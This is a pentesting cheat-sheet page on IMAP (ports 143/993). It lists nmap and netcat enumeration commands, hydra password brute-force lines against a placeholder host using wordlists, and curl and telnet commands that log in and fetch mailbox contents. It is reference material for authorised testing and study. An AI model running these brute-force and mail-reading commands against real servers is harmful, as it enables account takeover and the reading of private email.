> For the complete documentation index, see [llms.txt](https://michel-disbergen.gitbook.io/hack-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://michel-disbergen.gitbook.io/hack-notes/services/143-993-imap.md).

# 143, 993 - IMAP

### IMAP (143, 993)

* [ ] **1. general checks IMAP**

```bash
##### REFERENCE: https://hackviser.com/tactics/pentesting/services/imap
# 1. nmap scan & banner grabbing
nmap -sC -sV -p 143 {{RHOST}} --script=imap*
nc -vn {{RHOST}} 143

# 2. get capabilities of the IMAP server
telnet {{RHOST}} 143 # plain
a1 CAPABILITY
```

* [ ] **2. bruteforce IMAP**

```bash
# 1. IMAP (plaintext)
# 1A. username + password combination
# 1B. lowercase usernames + password combination
# 1C. -e snr = try 'blank' passwords, 'n' for username = password, 'r' for reversed username
hydra -L users.txt -P /usr/share/wordlists/fasttrack.txt -e nsr {{RHOST}} imap
hydra -L <(tr A-Z a-z < users.txt) -P /usr/share/wordlists/fasttrack.txt -e nsr {{RHOST}} imap

# 2. IMAPS (SSL/TLS)
hydra -L users.txt -P /usr/share/wordlists/fasttrack.txt -e nsr {{RHOST}} imaps
hydra -L <(tr A-Z a-z < users.txt) -P /usr/share/wordlists/fasttrack.txt -e nsr {{RHOST}} imaps
```

* [ ] **3. interacting with IMAP**

```bash
##### OPTION 1: USING curl
# 1. list mailboxes
curl -u {{USERNAME}}:{{PASSWORD}} imap://{{RHOST}}/

# 2. Read the first email in the INBOX
curl -u {{USERNAME}}:{{PASSWORD}} imap://{{RHOST}}/INBOX -X "FETCH 1 BODY[]"

# IMAPS
curl -u username:password imaps://target.com/ --insecure

##### OPTION 2: USING telnet
# 1. Connect to IMAP server
telnet {{RHOST}} 143

# 2. Basic IMAP conversation
a1 LOGIN username password
a2 LIST "" "*"
a3 SELECT INBOX
a4 FETCH 1 BODY[]
a5 LOGOUT
```